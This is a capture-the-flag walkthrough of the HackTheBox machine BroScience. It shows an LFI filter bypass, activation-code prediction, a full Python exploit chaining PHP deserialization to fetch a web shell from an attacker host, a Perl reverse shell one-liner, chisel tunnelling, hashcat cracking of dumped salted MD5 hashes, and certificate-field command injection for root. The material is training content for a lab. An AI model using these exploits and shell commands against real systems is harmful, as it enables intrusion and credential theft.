Home HackTheBox - BroScience | Walkthrough
Post
Cancel

HackTheBox - BroScience | Walkthrough

BroScience

Untitled

Overview

BroScience is a medium-difficulty challenge focusing on web-related vulnerabilities, source code review, and custom code writing for exploitation. This box serves as excellent preparation for the AWAE course, covering many of the same concepts and techniques.

The exploitation involves registering a new user, activating the account, logging in, and exploiting a deserialization vulnerability to upload a web shell. From there, the attacker can escalate privileges by cracking a password hash and exploiting a command injection vulnerability in a script that renews SSL certificates.

Enumeration

Nmap scan

Starting from a standard Nmap scan with basic flags:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -v -Pn -n -T4 -p- -sV -sC broscience.htb

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT

Nmap reveals 3 services: SSH and HTTP(s).

Let’s check the web app:

Untitled

Checking the HTML page:

Untitled

We can expect an LFI vuln in the img.php.

Foothold

Let’s try to get the contents of the /etc/passwd file:

Untitled

It seems there are some LFI checks. It can be bypassed using encoding:

1
curl https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd -k

How does the double URL encoding work?

Let’s check the source code of the img.php page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);

So, the urldecode function is used after the filter check. It actually means that the initial $path parameter is decoded by the application twice:

  • the first time by the web server itself during parsing the request to extract important information such as the HTTP method, URI, query parameters, headers, and request body
  • the second time by the urldecode instruction in the code

For example, %252E%252E%252F (../ in double decoding) became %2E%2E%2F after the first decoding which is not in the $badwords string array. The second urldecode in the code makes it ../ and it can be used in file_get_contents function.

We can download the source code for the web application files:

1
https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fvar%252fwww%252fhtml%252fincludes%252futils.php

Interesting code:

register.php:

1
2
3
4
5
<?php
...
$activation_code = generate_activation_code();
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
....

utils.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

At first glance, there are 2 vulnerabilities: weak activation code generation and deserialization.

Code generation

The srand() function is used to seed the random number generator with the current time, which is not considered cryptographically secure. An attacker could predict the generated activation codes by knowing when the function is called.

The time() function in PHP returns the current time as a Unix timestamp. It returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).

More than that, the Apache server returns the server`s current time in one of the headers:

Untitled

It’s super simple to predict the code. Let’s just copy the part of the code generation part and add some logic to check for a couple of seconds after and before the request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function generate_activation_code($seed)
{
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($seed);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

function predict_activation_codes($timestamp, $range)
{
    for ($i = $timestamp - $range; $i <= $timestamp + $range; $i++) {
        echo generate_activation_code($i) . "\n";
    }
}

$known_timestamp = time();
$range = 1; // We consider a range of 1 second before and after the known timestamp

predict_activation_codes($known_timestamp, $range);

?>

How it works:

1
2
3
4
5
php exploit.php

wNJ0vY7hI4K19VDBDCa3xLJjV6GvOuJJ
5laqrSZm2IyRBCaX7DXFIoZyE8sPY0qz
vt4bjqp6YYkAH046KVPdBJKg75g8KpV7

Deserialization

From the source code, we can see that the application supports different themes (dark and light versions). It’s implemented using deserialization, but without any security checks. This essentially means that we can try to deserialize our own objects. A really good basic explanation of deserialization vulnerabilities in PHP can be found here - https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a

AvatarInterface class has a magic __wakeup function which is executed during the deserialization process. 2 variables $imgPath and $tmp are used in the file_get_contents function of the Avatar class. So, it can be used to upload a remote file to the host.

To create a serialized AvatarInterface object we can just copy PHP code and slightly change the parameters.

serialize.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$avatar = new AvatarInterface;
$avatar->tmp= 'http://10.10.16.153/shell.php';
$avatar->imgPath= '/var/www/html/shell.php';

$serialiased = serialize($avatar);
echo $serialiased;

#unserialize($serialiased );

?>

Example:

1
2
php serialize.php             
O:15:"AvatarInterface":2:{s:3:"tmp";s:29:"http://10.10.16.153/shell.php";s:7:"imgPath";s:23:"/var/www/html/shell.php";}

Putting it all together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import uuid
import base64
import sys
import subprocess
import requests
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning)

use_proxy = True
if use_proxy:
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    }
else:
    proxies = {}

url = 'https://broscience.htb'
username = uuid.uuid4().hex[:5]
password = '12345'

def register(session):
    payload = {
        "username": username,
        "email": f"{username}@test.com",
        "password": password,
        "password-confirm": password,
    }

    response = session.post(url + "/register.php",
                            data=payload, verify=False, proxies=proxies)
    
    if response.status_code == 200:
        return True

def activate(session):
    php_code = '''    
        function generate_activation_code($seed) {
            $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
            srand($seed);
            $activation_code = "";
            for ($i = 0; $i < 32; $i++) {
                $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
            }
            return $activation_code;
        }

        function predict_activation_codes($timestamp, $range) {
            for ($i = $timestamp - $range; $i <= $timestamp + $range; $i++) {
                    echo generate_activation_code($i) . "\n";
                }
        }

    $known_timestamp = time();
    $range = 1; // We consider a range of 1 second before and after the known timestamp

    predict_activation_codes($known_timestamp, $range);
    '''

    result = subprocess.run(
        ["php", "-r", php_code],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        check=False
    )

    # Print the output from the PHP code
    codes = result.stdout.split("\n")[:-1]

    for code in codes:
        print(f"Sending a request to activate: {code}")
        response = session.get(
            url + f"/activate.php?code={code}", verify=False, proxies=proxies)
        if 'Account activated!' in response.text:
            print('[+] Account is activated')
            return True

def login(session):
    payload = {
        "username": username,
        "password": password,
    }
    response = session.post(url + "/login.php",
                            data=payload, verify=False,allow_redirects=False, proxies=proxies)
    if response.status_code == 302:
        return True

def exploit_deserialization(session):
    php_code = '''
    class Avatar {
        public $imgPath;

        public function __construct($imgPath) {
            $this->imgPath = $imgPath;
        }

        public function save($tmp) {
            $f = fopen($this->imgPath, "w");
            fwrite($f, file_get_contents($tmp));
            fclose($f);
        }
    }   

    class AvatarInterface {
        public $tmp;
        public $imgPath; 

        public function __wakeup() {
            $a = new Avatar($this->imgPath);
            $a->save($this->tmp);
        }
    }

    $avatar = new AvatarInterface;
    $avatar->tmp= 'http://10.10.16.153/shell.php';
    $avatar->imgPath= '/var/www/html/shell.php';

    $serialiased = serialize($avatar);
    echo $serialiased;
    '''
    result = subprocess.run(
        ["php", "-r", php_code],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        check=False
    )

    # Print the output from the PHP code
    payload = result.stdout
    encoded = base64_text = base64.b64encode(payload.encode('utf-8')).decode('utf-8')

    session.cookies.set('user-prefs', encoded, domain='broscience.htb',path='/')
    response = session.get(url, verify=False, proxies=proxies)

    if response.status_code == 200:
        return True

s = requests.Session()

if register(s):
    print ("[+] A new user has been registered")
else:
    print(f"[-] Can't register a new user")
    sys.exit()

if activate(s):
    print(f"[+] Activated. Should be possible to login with the creds {username}:{password}")
else:
    print(f"[-] Can't activate the user")
    sys.exit()

if login(s):
    print ("[+] Succesfully logged on")
else:
    print(f"[-] Can't login")

if exploit_deserialization(s):
    print ("[+] Done with deserialization")
else:
    print ("[-] Somethinhg went wrong")

Run it (the exploit forces the application to download a shell from the attacker’s host, so don’t forget to change the paths):

1
2
3
4
5
6
7
8
9
10
python exploit.py

[+] A new user has been registered
Sending a request to activate: kOLpou1sQDIiZvhtHW02wTQpfX84XAcc
Sending a request to activate: UzAqCGeY7EqFlsIL3qVJbCC0GIwjrwnl
Sending a request to activate: zVIlwAXhJhDVLEUQRbXQD6UI43fk7N2N
[+] Account is activated
[+] Activated. Should be possible to login with the creds d5996:12345
[+] Succesfully logged on
[+] Done with deserialization

We got a web shell uploaded:

Untitled

Update it to a proper reverse shell:

1
2
3
4
5
6
7
8
#on the web shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.16.153:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

#on kali
rlwrap nc -lvp 4444                 

/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@broscience:/var/www/html$

User

Get DB credentials and a salt value from the db_connect.php:

1
2
3
4
5
6
7
8
9
cat db_connect.php

<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

Setup chisel (https://github.com/jpillora/chisel) to create a reverse socks5 proxy:

1
2
3
4
5
6
#on the web host:
wget http://10.10.16.153/chisel
./chisel client 10.10.16.153:8888 R:1080:socks

#on the kali host:
./chisel server -p 8888 --reverse

Connect to the host (proxychains configuration should be changed accordingly):

1
2
3
4
5
6
7
8
9
proxychains psql -h 127.0.0.1 -U dbuser broscience 
\c broscience
select * from users;

  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04

Based on the source code of the register.php passwords are salted:

1
2
3
4
5
6
#register.php
...
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
...

Let’s create a formatted hashes file:

1
2
3
4
5
6
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl
22c2800afa5e561752aec54527d1c2b3:NaCl

Running hashcat:

1
2
3
4
5
hashcat -O -m 20 md5_hashes.txt /usr/share/wordlists/rockyou.txt

13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym    
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest     
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples

We can log in with Bill`s password (iluvhorsesandgym):

Untitled

Root

Checking for background executions using pspy (https://github.com/DominicBreuker/pspy):

1
2
3
wget http://10.10.16.153/pspy
chmod +x pspy
./pspy

Untitled

Let’s check the script /opt/renew_cert.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

It seems that the script gets a certificate from the user`s directory, checks if it expires soon, and issues a new one based on the previous parameters. It should be possible to inject OS commands using the $commonName certificate variable.

Let’s create a new certificate:

1
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1

There are some character limitations for the Common Name field. The following value works well:

Untitled

After a couple of seconds, we got a reverse root shell:

Untitled

This post is licensed under CC BY 4.0 by the author.

Trending Tags